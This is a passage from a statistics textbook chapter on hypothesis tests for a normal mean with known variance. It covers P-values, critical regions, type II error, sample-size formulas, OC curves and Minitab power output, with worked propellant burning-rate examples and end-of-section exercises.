For example, consider the propellant burning rate problem of Example 9-1 where we are testing H_0: $\mu = 50$ centimeters per second versus H_1: $\mu \neq 50$ centimeters per second with $\sigma = 2.5$. If we suppose that the mean rate is really 50.5 centimeters per second, this is not a serious departure from H_0: $\mu = 50$ centimeters per second in the sense that if the mean really is 50.5 centimeters per second there is no practical observable effect on the performance of the air crew escape system. In other words, concluding that $\mu = 50$ centimeters per second when it is really 50.5 centimeters per second is an inexpensive error and has no practical significance. For a reasonably large sample size, a true value of $\mu = 50.5$ will lead to a sample $\bar{x}$ that is close to 50.5 centimeters per second, and we would not want this value of $\bar{x}$ from the sample to result in rejection of H_0. The following display shows the P-value for testing H_0: $\mu = 50$ when we observe $\bar{x} = 50.5$ centimeters per second and the power of the test at $\alpha = 0.05$ when the true mean is 50.5 for various sample sizes n:

Sample Size n	P-value When $\bar{x} = 50.5$	Power (at $\alpha = 0.05$) When True $\mu = 50.5$
10	0.527	0.097
25	0.317	0.170
50	0.157	0.293
100	0.046	0.516
400	6.3×10^{-5}	0.979
1000	2.5×10^{-10}	1.000

The P-value column in this display indicates that for large sample sizes, the observed sample value of $\bar{x} = 50.5$ would strongly suggest that H_0: $\mu = 50$ should be rejected, even though the observed sample results imply that from a practical viewpoint the true mean does not differ much at all from the hypothesized value $\mu_0 = 50$. The power column indicates that if we test a hypothesis at a fixed significance level α, and even if there is little practical difference between the true mean and the hypothesized value, a large sample size will almost always lead to rejection of H_0. The moral of this demonstration is clear:

> Be careful when interpreting the results from hypothesis testing when the sample size is large, because any small departure from the hypothesized value μ_0 will probably be detected, even when the difference is of little or no practical significance.

EXERCISES FOR SECTION 9-1

9-1. In each of the following situations, state whether it is a correctly stated hypothesis testing problem and why.

(a) H_0: $\mu = 25$, H_1: $\mu \neq 25$

(b) H_0: $\sigma > 10$, H_1: $\sigma = 10$

(c) H_0: $\bar{x} = 50$, H_1: $\bar{x} \neq 50$

(d) H_0: $p = 0.1$, H_1: $p = 0.5$

(e) H_0: $s = 30$, H_1: $s > 30$

9-2. A semiconductor manufacturer collects data from a new tool and conducts a hypothesis test with the null hypothesis that a critical dimension mean width equals 100 nm. The conclusion is to not reject the null hypothesis. Does this result provide strong evidence that the critical dimension mean equals 100 nm? Explain.

9-3. The standard deviation of critical dimension thickness in semiconductor manufacturing is $\sigma = 20$ nm.

(a) State the null and alternative hypotheses used to demonstrate that the standard deviation is reduced.

(b) Assume that the previous test does not reject the null hypothesis. Does this result provide strong evidence that the standard deviation has not been reduced? Explain.

9-4. The mean pull-off force of a connector depends on cure time.

(a) State the null and alternative hypotheses used to demonstrate that the pull-off force is below 25 newtons.

(b) Assume that the previous test does not reject the null hypothesis. Does this result provide strong evidence that the pull-off force is greater than or equal to 25 newtons? Explain.

9-5. A textile fiber manufacturer is investigating a new drapery yarn, which the company claims has a mean thread elongation of 12 kilograms with a standard deviation of 0.5 kilograms. The company wishes to test the hypothesis H_0: $\mu = 12$ against H_1: $\mu < 12$, using a random sample of four specimens.

(a) What is the type I error probability if the critical region is defined as $\bar{x} < 11.5$ kilograms?

(b) Find β for the case where the true mean elongation is 11.25 kilograms.

(c) Find β for the case where the true mean is 11.5 kilograms.

9-6. Repeat Exercise 9-5 using a sample size of $n = 16$ and the same critical region.

9-7. In Exercise 9-5, find the boundary of the critical region if the type I error probability is

(a) $\alpha = 0.01$ and $n = 4$ (c) $\alpha = 0.01$ and $n = 16$

(b) $\alpha = 0.05$ and $n = 4$ (d) $\alpha = 0.05$ and $n = 16$

9-8. In Exercise 9-5, calculate the probability of a type II error if the true mean elongation is 11.5 kilograms and

(a) $\alpha = 0.05$ and $n = 4$

(b) $\alpha = 0.05$ and $n = 16$

(c) Compare the values of β calculated in the previous parts. What conclusion can you draw?

9-9. In Exercise 9-5, calculate the P-value if the observed statistic is

(a) $\bar{x} = 11.25$ (b) $\bar{x} = 11.0$ (c) $\bar{x} = 11.75$

9-10. The heat evolved in calories per gram of a cement mixture is approximately normally distributed. The mean is thought to be 100 and the standard deviation is 2. We wish to test H_0: $\mu = 100$ versus H_1: $\mu \neq 100$ with a sample of $n = 9$ specimens.

(a) If the acceptance region is defined as $98.5 \leq \bar{x} \leq 101.5$, find the type I error probability α.

(b) Find β for the case where the true mean heat evolved is 103.

(c) Find β for the case where the true mean heat evolved is 105. This value of β is smaller than the one found in part (b) above. Why?

9-11. Repeat Exercise 9-10 using a sample size of $n = 5$ and the same acceptance region.

9-12. In Exercise 9-10, find the boundary of the critical region if the type I error probability is

(a) $\alpha = 0.01$ and $n = 9$ (c) $\alpha = 0.01$ and $n = 5$

(b) $\alpha = 0.05$ and $n = 9$ (d) $\alpha = 0.05$ and $n = 5$

9-13. In Exercise 9-10, calculate the probability of a type II error if the true mean heat evolved is 103 and

(a) $\alpha = 0.05$ and $n = 9$

(b) $\alpha = 0.05$ and $n = 5$

(c) Compare the values of β calculated in the previous parts. What conclusion can you draw?

9-14. In Exercise 9-10, calculate the P-value if the observed statistic is

(a) $\bar{x} = 98$ (b) $\bar{x} = 101$ (c) $\bar{x} = 102$

9-15. A consumer products company is formulating a new shampoo and is interested in foam height (in millimeters). Foam height is approximately normally distributed and has a standard deviation of 20 millimeters. The company wishes to test H_0: $\mu = 175$ millimeters versus H_1: $\mu > 175$ millimeters, using the results of $n = 10$ samples.

(a) Find the type I error probability α if the critical region is $\bar{x} > 185$.

(b) What is the probability of type II error if the true mean foam height is 185 millimeters?

(c) Find β for the true mean of 195 millimeters.

9-16. Repeat Exercise 9-15 assuming that the sample size is $n = 16$ and the boundary of the critical region is the same.

9-17. In Exercise 9-15, find the boundary of the critical region if the type I error probability is

(a) $\alpha = 0.01$ and $n = 10$ (c) $\alpha = 0.01$ and $n = 16$

(b) $\alpha = 0.05$ and $n = 10$ (d) $\alpha = 0.05$ and $n = 16$

9-18. In Exercise 9-15, calculate the probability of a type II error if the true mean foam height is 185 millimeters and

(a) $\alpha = 0.05$ and $n = 10$

(b) $\alpha = 0.05$ and $n = 16$

(c) Compare the values of β calculated in the previous parts. What conclusion can you draw?

9-19. In Exercise 9-15, calculate the P-value if the observed statistic is

(a) $\bar{x} = 180$ (b) $\bar{x} = 190$ (c) $\bar{x} = 170$

9-20. A manufacturer is interested in the output voltage of a power supply used in a PC. Output voltage is assumed to be normally distributed, with standard deviation 0.25 volt, and the manufacturer wishes to test H_0: $\mu = 5$ volts against H_1: $\mu \neq 5$ volts, using $n = 8$ units.

(a) The acceptance region is $4.85 \leq \bar{x} \leq 5.15$. Find the value of α.

(b) Find the power of the test for detecting a true mean output voltage of 5.1 volts.

9-21. Rework Exercise 9-20 when the sample size is 16 and the boundaries of the acceptance region do not change. What impact does the change in sample size have on the results of parts (a) and (b)?

9-22. In Exercise 9-20, find the boundary of the critical region if the type I error probability is

(a) $\alpha = 0.01$ and $n = 8$ (c) $\alpha = 0.01$ and $n = 16$
(b) $\alpha = 0.05$ and $n = 8$ (d) $\alpha = 0.05$ and $n = 16$

9-23. In Exercise 9-20, calculate the P-value if the observed statistic is

(a) $\bar{x} = 5.2$ (b) $\bar{x} = 4.7$ (c) $\bar{x} = 5.1$

9-24. In Exercise 9-20, calculate the probability of a type II error if the true mean output is 5.05 volts and

(a) $\alpha = 0.05$ and $n = 10$
(b) $\alpha = 0.05$ and $n = 16$
(c) Compare the values of β calculated in the previous parts. What conclusion can you draw?

9-25. The proportion of adults living in Tempe, Arizona, who are college graduates is estimated to be $p = 0.4$. To test this hypothesis, a random sample of 15 Tempe adults is selected. If the number of college graduates is between 4 and 8, the hypothesis will be accepted; otherwise, we will conclude that $p \neq 0.4$.

(a) Find the type I error probability for this procedure, assuming that $p = 0.4$.
(b) Find the probability of committing a type II error if the true proportion is really $p = 0.2$.

9-26. The proportion of residents in Phoenix favoring the building of toll roads to complete the freeway system is believed to be $p = 0.3$. If a random sample of 10 residents shows that 1 or fewer favor this proposal, we will conclude that $p < 0.3$.

(a) Find the probability of type I error if the true proportion is $p = 0.3$.
(b) Find the probability of committing a type II error with this procedure if $p = 0.2$.
(c) What is the power of this procedure if the true proportion is $p = 0.2$?

9-27. A random sample of 500 registered voters in Phoenix is asked if they favor the use of oxygenated fuels year-round to reduce air pollution. If more than 400 voters respond positively, we will conclude that more than 60% of the voters favor the use of these fuels.

(a) Find the probability of type I error if exactly 60% of the voters favor the use of these fuels.
(b) What is the type II error probability β if 75% of the voters favor this action?
Hint: use the normal approximation to the binomial.

9-28. If we plot the probability of accepting $H_0{:}\mu = \mu_0$ versus various values of μ and connect the points with a smooth curve, we obtain the **operating characteristic curve** (or the **OC curve**) of the test procedure. These curves are used extensively in industrial applications of hypothesis testing to display the sensitivity and relative performance of the test. When the true mean is really equal to μ_0, the probability of accepting H_0 is $1 - \alpha$.

(a) Construct an OC curve for Exercise 9-15, using values of the true mean μ of 178, 181, 184, 187, 190, 193, 196, and 199.
(b) Convert the OC curve into a plot of the **power function** of the test.

9-2 TESTS ON THE MEAN OF A NORMAL DISTRIBUTION, VARIANCE KNOWN

In this section, we consider hypothesis testing about the mean μ of a single normal population where the variance of the population σ^2 is known. We will assume that a random sample $X_1, X_2, \ldots, X_n$ has been taken from the population. Based on our previous discussion, the sample mean $\overline{X}$ is an **unbiased point estimator** of μ with variance σ^2/n.

9-2.1 Hypothesis Tests on the Mean

Suppose that we wish to test the hypotheses

$$\begin{aligned} H_0&: \mu = \mu_0 \\ H_1&: \mu \neq \mu_0 \end{aligned} \tag{9-7}$$

where μ_0 is a specified constant. We have a random sample $X_1, X_2, \ldots, X_n$ from a normal population. Since $\overline{X}$ has a normal distribution (i.e., the **sampling distribution** of $\overline{X}$ is normal)

with mean μ_0 and standard deviation $\sigma/\sqrt{n}$ if the null hypothesis is true, we could calculate a P-value or construct a critical region based on the computed value of the sample mean $\overline{X}$, as in Section 9-1.2.

It is usually more convenient to **standardize** the sample mean and use a test statistic based on the standard normal distribution. That is, the test procedure for H_0: $\mu = \mu_0$ uses the **test statistic:**

Test Statistic

$$Z_0 = \frac{\overline{X} - \mu_0}{\sigma/\sqrt{n}} \tag{9-8}$$

If the null hypothesis H_0: $\mu = \mu_0$ is true, $E(\overline{X}) = \mu_0$, and it follows that the distribution of Z_0 is the standard normal distribution [denoted $N(0, 1)$].

The hypothesis testing procedure is as follows. Take a random sample of size n and compute the value of the sample mean $\bar{x}$. To test the null hypothesis using the P-value approach, we would find the probability of observing a value of the sample mean that is at least as extreme as $\bar{x}$, given that the null hypothesis is true. The standard normal z-value that corresponds to $\bar{x}$ is found from the test statistic in Equation 9-8:

$$z_0 = \frac{\bar{x} - \mu_0}{\sigma/\sqrt{n}}$$

In terms of the standard normal cumulative distribution function (cdf), the probability we are seeking is $1 - \Phi(|z_0|)$. The reason that the argument of the standard normal cdf is $|z_0|$ is that the value of z_0 could be either positive or negative, depending on the observed sample mean. Because this is a two-tailed test, this is only one-half of the P-value. Therefore, for the two-sided alternative hypothesis, the P-value is

$$P = 2[1 - \Phi(|z_0|)] \tag{9-9}$$

This is illustrated in Fig. 9-7(a)

Now let's consider the one-sided alternatives. Suppose that we are testing

$$\begin{aligned} H_0&: \mu = \mu_0 \\ H_1&: \mu > \mu_0 \end{aligned} \tag{9-10}$$

Once again, suppose that we have a random sample of size n and that the sample mean is $\bar{x}$. We compute the test statistic from Equation 9-8 and obtain z_0. Because the test is an upper-tailed test, only values of $\bar{x}$ that are greater than μ_0 are consistent with the alternative hypothesis.

Figure 9-7 The P-value for a z-test. (a) The two-sided alternative $H_1: \mu \neq \mu_0$. (b) The one-sided alternative H_1: $\mu > \mu_0$. (c) The one-sided alternative $H_1: \mu < \mu_0$.

Therefore, the P-value would be the probability that the standard normal random variable is greater than the value of the test statistic z_0. This P-value is computed as

$$P = 1 - \Phi(z_0) \tag{9-11}$$

This P-value is shown in Fig. 9-7(b)

The lower-tailed test involves the hypotheses

$$\begin{aligned} H_0&: \mu = \mu_0 \\ H_1&: \mu < \mu_0 \end{aligned} \tag{9-12}$$

Suppose that we have a random sample of size n and that the sample mean is $\bar{x}$. We compute the test statistic from equation 9-8 and obtain z_0. Because the test is a lower-tailed test, only values of $\bar{x}$ that are less than μ_0 are consistent with the alternative hypothesis. Therefore, the P-value would be the probability that the standard normal random variable is less than the value of the test statistic z_0. This P-value is computed as

$$P = \Phi(z_0) \tag{9-13}$$

and shown in Fig. 9-7(c)

The **reference distribution** for this test is the standard normal distribution. The test is usually called a ***z*-test**.

We can also use the fixed significance level approach with the z-test. All we have to do is determine where to place the critical regions for the two-sided and one-sided alternative hypotheses. First consider the two-sided alternative in Equation 9-10. Now if H_0: $\mu = \mu_0$ is true, the probability is $1 - \alpha$ that the test statistic Z_0 falls between $-z_{\alpha/2}$ and $z_{\alpha/2}$, where $z_{\alpha/2}$, is the $100\alpha/2$ percentage point of the standard normal distribution. The regions associated with $z_{\alpha/2}$ and $-z_{\alpha/2}$ are illustrated in Fig. 9-8(a). Note that the probability is α that the test statistic Z_0 will fall in the region $Z_0 > z_{\alpha/2}$ or $Z_0 < -z_{\alpha/2}$ when H_0: $\mu = \mu_0$ is true. Clearly, a sample producing a value of the test statistic that falls in the tails of the distribution of Z_0 would be unusual if H_0: $\mu = \mu_0$ is true; therefore, it is an indication that H_0 is false. Thus, we should reject H_0 if either

$$z_0 > z_{\alpha/2} \tag{9-14}$$

or

$$z_0 < -z_{\alpha/2} \tag{9-15}$$

and we should fail to reject H_0 if

$$-z_{\alpha/2} \le z_0 \le z_{\alpha/2} \tag{9-16}$$

Figure 9-8 The distribution of Z_0 when H_0: $\mu = \mu_0$ is true, with critical region for (a) the two-sided alternative $H_1: \mu \neq \mu_0$. (b) The one-sided alternative H_1: $\mu > \mu_0$. (c) the one-sided alternative $H_1: \mu < \mu_0$.

Equations 9-14 and 9-15 define the **critical region** or **rejection region** for the test. The type I error probability for this test procedure is α.

We may also develop fixed significance level testing procedures for the one-sided alternatives. Consider the upper-tailed case in Equation 9-10.

In defining the critical region for this test, we observe that a negative value of the test statistic Z_0 would never lead us to conclude that H_0: $\mu = \mu_0$ is false. Therefore, we would place the critical region in the upper tail of the standard normal distribution and reject H_0 if the computed value z_0 is too large. Refer to Fig. 9-8(b). That is, we would reject H_0 if

$$z_0 > z_\alpha \tag{9-17}$$

Similarly, to test the lower-tailed case in Equation 9-12, we would calculate the test statistic Z_0 and reject H_0 if the value of Z_0 is too small. That is, the critical region is in the lower tail of the standard normal distribution as in Fig. 9-8(c), and we reject H_0 if

$$z_0 < -z_\alpha \tag{9-18}$$

Summary of Tests on the Mean, Variance Known

Testing Hypotheses on the Mean, Variance Known (*Z*-Tests)

Null hypothesis: H_0: $\mu = \mu_0$

Test statistic: $Z_0 = \dfrac{\bar{X} - \mu_0}{\sigma/\sqrt{n}}$

Alternative Hypotheses	*P*-Value	Rejection Criterion for Fixed-Level Tests
H_1: $\mu \neq \mu_0$	Probability above $\lvert z_0 \rvert$ and probability below $-\lvert z_0 \rvert$, $P = 2[1 - \Phi(\lvert z_0 \rvert)]$	$z_0 > z_{\alpha/2}$ or $z_0 < -z_{\alpha/2}$
H_1: $\mu > \mu_0$	Probability above z_0, $P = 1 - \Phi(z_0)$	$z_0 > z_\alpha$
H_1: $\mu < \mu_0$	Probability below z_0, $P = \Phi(z_0)$	$z_0 < -z_\alpha$

The *P*-values and critical regions for these situations are shown in Figs. 9-7 and 9-8.

It is easier to understand the critical region and the test procedure, in general, when the test statistic is Z_0 rather than $\bar{X}$. However, the same critical region can always be written in terms of the computed value of the sample mean $\bar{x}$. A procedure identical to the fixed significance level test above is as follows:

$$\text{Reject } H_0\text{: } \mu = \mu_0 \text{ if either } \bar{x} > a \text{ or } \bar{x} < b$$

where

$$a = \mu_0 + z_{\alpha/2}\sigma/\sqrt{n} \quad \text{and} \quad b = \mu_0 - z_{\alpha/2}\sigma/\sqrt{n}$$

EXAMPLE 9-2 Propellant Burning Rate

Air crew escape systems are powered by a solid propellant. The burning rate of this propellant is an important product characteristic. Specifications require that the mean burning rate must be 50 centimeters per second. We know that the standard deviation of burning rate is $\sigma = 2$ centimeters per second. The experimenter decides to specify a type I error probability or significance level of $\alpha = 0.05$ and selects a random sample of $n = 25$ and obtains a sample average burning rate of $\bar{x} = 51.3$ centimeters per second. What conclusions should be drawn?

We may solve this problem by following the seven-step procedure outlined in Section 9-1.6. This results in

1. **Parameter of interest:** The parameter of interest is μ, the mean burning rate.
2. **Null hypothesis, H_0:** H_0: $\mu = 50$ centimeters per second
3. **Alternative hypothesis, H_1:** H_1: $\mu \neq 50$ centimeters per second
4. **Test statistic:** The test statistic is
$$z_0 = \frac{\bar{x} - \mu_0}{\sigma/\sqrt{n}}$$
5. **Reject H_0 if:** Reject H_0 if the P-value is less than 0.05. To use a fixed significance level test, the boundaries of the critical region would be $z_{0.025} = 1.96$ and $-z_{0.025} = -1.96$.
6. **Computations:** Since $\bar{x} = 51.3$ and $\sigma = 2$,
$$z_0 = \frac{51.3 - 50}{2/\sqrt{25}} = 3.25$$
7. **Conclusion:** Since $z_0 = 3.25$ the p-value is
$$P\text{-value} = 2[1 - \Phi(3.25)] = 0.0012$$
we reject H_0: $\mu = 50$ at the 0.05 level of significance.

Practical Interpretation: We conclude that the mean burning rate differs from 50 centimeters per second, based on a sample of 25 measurements. In fact, there is strong evidence that the mean burning rate exceeds 50 centimeters per second.

9-2.2 Type II Error and Choice of Sample Size

In testing hypotheses, the analyst directly selects the type I error probability. However, the probability of type II error β depends on the choice of sample size. In this section, we will show how to calculate the probability of type II error β. We will also show how to select the sample size to obtain a specified value of β.

Finding the Probability of Type II Error β

Consider the two-sided hypotheses

$$H_0: \mu = \mu_0$$
$$H_1: \mu \neq \mu_0$$

Suppose that the null hypothesis is false and that the true value of the mean is $\mu = \mu_0 + \delta$, say, where $\delta > 0$. The test statistic Z_0 is

$$Z_0 = \frac{\bar{X} - \mu_0}{\sigma/\sqrt{n}} = \frac{\bar{X} - (\mu_0 + \delta)}{\sigma/\sqrt{n}} + \frac{\delta\sqrt{n}}{\sigma}$$

Therefore, the distribution of Z_0 when H_1 is true is

$$Z_0 \sim N\left(\frac{\delta\sqrt{n}}{\sigma}, 1\right) \tag{9-19}$$

The distribution of the test statistic Z_0 under both the null hypothesis H_0 and the alternate hypothesis H_1 is shown in Fig. 9-9. From examining this figure, we note that if H_1 is true, a type II error will be made only if $-z_{\alpha/2} \leq Z_0 \leq z_{\alpha/2}$ where $Z_0 \sim N(\delta\sqrt{n}/\sigma, 1)$. That is, the probability of the type II error β is the probability that Z_0 falls between $-z_{\alpha/2}$ and $z_{\alpha/2}$ *given that H_1 is true*. This probability is shown as the shaded portion of Fig. 9-9. Expressed mathematically, this probability is

Figure 9-9 The distribution of Z_0 under H_0 and H_1.

Probability of a Type II Error for a Two-Sided Test on the Mean, Variance Known

$$\beta = \Phi\left(z_{\alpha/2} - \frac{\delta\sqrt{n}}{\sigma}\right) - \Phi\left(-z_{\alpha/2} - \frac{\delta\sqrt{n}}{\sigma}\right) \tag{9-20}$$

where $\Phi(z)$ denotes the probability to the left of z in the standard normal distribution. Note that Equation 9-20 was obtained by evaluating the probability that Z_0 falls in the interval $[-z_{\alpha/2}, z_{\alpha/2}]$ when H_1 is true. Furthermore, note that Equation 9-20 also holds if $\delta < 0$, due to the symmetry of the normal distribution. It is also possible to derive an equation similar to Equation 9-20 for a one-sided alternative hypothesis.

Sample Size Formulas

One may easily obtain formulas that determine the appropriate sample size to obtain a particular value of β for a given δ and α. For the two-sided alternative hypothesis, we know from Equation 9-20 that

$$\beta = \Phi\left(z_{\alpha/2} - \frac{\delta\sqrt{n}}{\sigma}\right) - \Phi\left(-z_{\alpha/2} - \frac{\delta\sqrt{n}}{\sigma}\right)$$

or, if $\delta > 0$,

$$\beta \simeq \Phi\left(z_{\alpha/2} - \frac{\delta\sqrt{n}}{\sigma}\right) \tag{9-21}$$

since $\Phi(-z_{\alpha/2} - \delta\sqrt{n}/\sigma) \simeq 0$ when δ is positive. Let z_β be the 100β upper percentile of the standard normal distribution. Then, $\beta = \Phi(-z_\beta)$. From Equation 9-21,

$$-z_\beta \simeq z_{\alpha/2} - \frac{\delta\sqrt{n}}{\sigma}$$

or

Sample Size for a Two-Sided Test on the Mean, Variance Known

$$n \simeq \frac{(z_{\alpha/2} + z_\beta)^2\sigma^2}{\delta^2} \qquad \text{where} \qquad \delta = \mu - \mu_0 \tag{9-22}$$

If n is not an integer, the convention is to round the sample size up to the next integer. This approximation is good when $\Phi(-z_{\alpha/2} - \delta\sqrt{n}/\sigma)$ is small compared to β. For either of the one-sided alternative hypotheses, the sample size required to produce a specified type II error with probability β given δ and α is

Sample Size for a One-Sided Test on the Mean, Variance Known

$$n = \frac{(z_\alpha + z_\beta)^2 \sigma^2}{\delta^2} \quad \text{where} \quad \delta = \mu - \mu_0 \tag{9-23}$$

EXAMPLE 9-3 Propellant Burning Rate Type II Error

Consider the rocket propellant problem of Example 9-2. Suppose that the true burning rate is 49 centimeters per second. What is β for the two-sided test with $\alpha = 0.05$, $\sigma = 2$, and $n = 25$?

Here $\delta = 1$ and $z_{\alpha/2} = 1.96$. From Equation 9-20,

$$\beta = \Phi\left(1.96 - \frac{\sqrt{25}}{\sigma}\right) - \Phi\left(-1.96 - \frac{\sqrt{25}}{\sigma}\right)$$
$$= \Phi(-0.54) - \Phi(-4.46) = 0.295$$

The probability is about 0.3 that this difference from 50 centimeters per second will not be detected. That is, the probability is about 0.3 that the test will fail to reject the null hypothesis when the true burning rate is 49 centimeters per second.

Practical Interpretation: A sample size of $n = 25$ results in reasonable, but not great power $= 1 - p = 1 - 0.3 = 0.70$.

Suppose that the analyst wishes to design the test so that if the true mean burning rate differs from 50 centimeters per second by as much as 1 centimeter per second, the test will detect this (i.e., reject H_0: $\mu = 50$) with a high probability, say, 0.90. Now, we note that $\sigma = 2$, $\delta = 51 - 50 = 1$, $\alpha = 0.05$, and $\beta = 0.10$. Since $z_{\alpha/2} = z_{0.025} = 1.96$ and $z_\beta = z_{0.10} = 1.28$, the sample size required to detect this departure from H_0: $\mu = 50$ is found by Equation 9-22 as

$$n \simeq \frac{(z_{\alpha/2} + z_\beta)^2 \sigma^2}{\delta^2} = \frac{(1.96 + 1.28)^2 2^2}{(1)^2} \simeq 42$$

The approximation is good here, since $\Phi(-z_{\alpha/2} - \delta\sqrt{n}/\sigma) = \Phi(-1.96 - (1)\sqrt{42}/2) = \Phi(-5.20) \simeq 0$, which is small relative to β.

Practical Interpretation: To achieve a much higher power of 0.90 you will need a considerably large sample size, $n = 42$ instead of $n = 25$.

Using Operating Characteristic Curves

When performing sample size or type II error calculations, it is sometimes more convenient to use the **operating characteristic (OC) curves** in Appendix Charts VI*a* and VI*b*. These curves plot β as calculated from Equation 9-20 against a parameter d for various sample sizes n. Curves are provided for both $\alpha = 0.05$ and $\alpha = 0.01$. The parameter d is defined as

$$d = \frac{|\mu - \mu_0|}{\sigma} = \frac{|\delta|}{\sigma} \tag{9-24}$$

so one set of operating characteristic curves can be used for all problems regardless of the values of μ_0 and σ. From examining the operating characteristic curves or from Equation 9-20 and Fig. 9-9, we note that

1. The further the true value of the mean μ is from μ_0, the smaller the probability of type II error β for a given n and α. That is, we see that for a specified sample size and α, large differences in the mean are easier to detect than small ones.

2. For a given δ and α, the probability of type II error β decreases as n increases. That is, to detect a specified difference δ in the mean, we may make the test more powerful by increasing the sample size.

EXAMPLE 9-4 Propellant Burning Rate Type II Error from OC Curve

Consider the propellant problem in Example 9-2. Suppose that the analyst is concerned about the probability of type II error if the true mean burning rate is $\mu = 51$ centimeters per second. We may use the operating characteristic curves to find β. Note that $\delta = 51 - 50 = 1$, $n = 25$, $\sigma = 2$, and $\alpha = 0.05$. Then, using Equation 9-24 gives

$$d = \frac{|\mu - \mu_0|}{\sigma} = \frac{|\delta|}{\sigma} = \frac{1}{2}$$

and from Appendix Chart VII*a*, with $n = 25$, we find that $\beta = 0.30$. That is, if the true mean burning rate is $\mu = 51$ centimeters per second, there is approximately a 30% chance that this will not be detected by the test with $n = 25$.

EXAMPLE 9-5 Propellant Burning Rate Sample Size from OC Curve

Once again, consider the propellant problem in Example 9-2. Suppose that the analyst would like to design the test so that if the true mean burning rate differs from 50 centimeters per second by as much as 1 centimeter per second, the test will detect this (i.e., reject H_0: $\mu = 50$) with a high probability, say, 0.90. This is exactly the same requirement as in Example 9-3, where we used Equation 9-22 to find the required sample size to be $n = 42$. The operating characteristic curves can also be used to find the sample size for this test. Since $d = |\mu - \mu_0|/\sigma = 1/2$, $\alpha = 0.05$, and $\beta = 0.10$, we find from Appendix Chart VII*a* that the required sample size is approximately $n = 40$. This closely agrees with the sample size calculated from Equation 9-22.

In general, the operating characteristic curves involve three parameters: β, d, and n. Given any two of these parameters, the value of the third can be determined. There are two typical applications of these curves:

Use of OC Curves

1. For a given n and d, find β (as illustrated in Example 9-4). This kind of problem is often encountered when the analyst is concerned about the sensitivity of an experiment already performed, or when sample size is restricted by economic or other factors.
2. For a given β and d, find n. This was illustrated in Example 9-5. This kind of problem is usually encountered when the analyst has the opportunity to select the sample size at the outset of the experiment.

Operating characteristic curves are given in Appendix Charts VII*c* and VII*d* for the one-sided alternatives. If the alternative hypothesis is either H_1: $\mu > \mu_0$ or H_1: $\mu < \mu_0$, the abscissa scale on these charts is

$$d = \frac{|\mu - \mu_0|}{\sigma} \tag{9-25}$$

Using the Computer

Many statistics software packages will calculate sample sizes and type II error probabilities. To illustrate, here are some computations from Minitab for the propellant burning rate problem:

Minitab Computations

Power and Sample Size

1-Sample *Z* Test
Testing mean = null (versus not = null)
Calculating power for mean = null + difference
Alpha = 0.05 Sigma = 2

Difference	Sample Size	Target Power	Actual Power
1	43	0.9000	0.9064

Power and Sample Size

1-Sample *Z* Test
Testing mean = null (versus not = null)
Calculating power for mean = null + difference
Alpha = 0.05 Sigma = 2

Difference	Sample Size	Target Power	Actual Power
1	28	0.7500	0.7536

Power and Sample Size

1-Sample *Z* Test
Testing mean = null (versus not = null)
Calculating power for mean = null + difference
Alpha = 0.05 Sigma = 2

Difference	Sample Size	Power
1	25	0.7054

In the first part of the boxed display, we asked Minitab to work Example 9-3, that is, to find the sample size n that would allow detection of a difference from $\mu_0 = 50$ of 1 centimeter per second with power of 0.9 and $\alpha = 0.05$. The answer, $n = 43$, agrees closely with the calculated value from Equation 9-22 in Example 9-3, which was $n = 42$. The difference is due to Minitab using a value of z_β that has more than two decimal places. The second part of the computer output relaxes the power requirement to 0.75. Note that the effect is to reduce the required sample size to $n = 28$. The third part of the output is the solution to Example 9-4, where we wish to determine the type II error probability of (β) or the power $= 1 - \beta$ for the sample size $n = 25$. Note that Minitab computes the power to be 0.7054, which agrees closely with the answer obtained from the OC curve in Example 9-4. Generally, however, the computer calculations will be more accurate than visually reading values from an OC curve.

9-2.3 Large-Sample Test

We have developed the test procedure for the null hypothesis H_0: $\mu = \mu_0$ assuming that the population is normally distributed and that σ^2 is known. In many if not most practical situations, σ^2 will be unknown. Furthermore, we may not be certain that the population is well modeled by a normal distribution. In these situations, if n is large (say, $n > 40$) the sample standard deviation s can be substituted for σ in the test procedures with little effect. Thus, while we have given a test for the mean of a normal distribution with known σ^2, it can be easily

converted into a **large-sample test procedure for unknown σ^2** that is valid regardless of the form of the distribution of the population. This large-sample test relies on the central limit theorem just as the large-sample confidence interval on μ that was presented in the previous chapter did. Exact treatment of the case where the population is normal, σ^2 is unknown, and n is small involves use of the t distribution and will be deferred until Section 9-3.

EXERCISES FOR SECTION 9-2

9-29. State the null and alternative hypothesis in each case.
(a) A hypothesis test will be used to potentially provide evidence that the population mean is greater than 10.
(b) A hypothesis test will be used to potentially provide evidence that the population mean is not equal to 7.
(c) A hypothesis test will be used to potentially provide evidence that the population mean is less than 5.

9-30. A hypothesis will be used to test that a population mean equals 7 against the alternative that the population mean does not equal 7 with known variance σ. What are the critical values for the test statistic Z_0 for the following significance levels?
(a) 0.01 (b) 0.05 (c) 0.10

9-31. A hypothesis will be used to test that a population mean equals 10 against the alternative that the population mean is greater than 10 with known variance σ. What is the critical value for the test statistic Z_0 for the following significance levels?
(a) 0.01 (b) 0.05 (c) 0.10

9-32. A hypothesis will be used to test that a population mean equals 5 against the alternative that the population mean is less than 5 with known variance σ. What is the critical value for the test statistic Z_0 for the following significance levels?
(a) 0.01 (b) 0.05 (c) 0.10

9-33. For the hypothesis test H_0: $\mu = 7$ against H_1: $\mu \neq 7$ and variance known, calculate the P-value for each of the following test statistics.
(a) $z_0 = 2.05$ (b) $z_0 = -1.84$ (c) $z_0 = 0.4$

9-34. For the hypothesis test H_0: $\mu = 10$ against H_1: $\mu > 10$ and variance known, calculate the P-value for each of the following test statistics.
(a) $z_0 = 2.05$ (b) $z_0 = -1.84$ (c) $z_0 = 0.4$

9-35. For the hypothesis test H_0: $\mu = 5$ against H_1: $\mu < 5$ and variance known, calculate the P-value for each of the following test statistics.
(a) $z_0 = 2.05$ (b) $z_0 = -1.84$ (c) $z_0 = 0.4$

9-36. Output from a software package is given below:

One-Sample Z:

Test of mu = 35 = vs not = 35
The assumed standard deviation = 1.8

Variable	N	Mean	StDev	SE Mean	Z	P
x	25	35.710	1.475	?	?	?

(a) Fill in the missing items. What conclusions would you draw?
(b) Is this a one-sided or a two-sided test?
(c) Use the normal table and the above data to construct a 95% two-sided CI on the mean.
(d) What would the P-value be if the alternative hypothesis is H_1: $\mu > 35$?

9-37. Output from a software package is given below:

One-Sample Z:

Test of mu = 20 vs > 20
The assumed standard deviation = 0.75

Variable	N	Mean	StDev	SE Mean	Z	P
x	10	19.889	?	0.237	?	?

(a) Fill in the missing items. What conclusions would you draw?
(b) Is this a one-sided or a two-sided test?
(c) Use the normal table and the above data to construct a 95% two-sided CI on the mean.
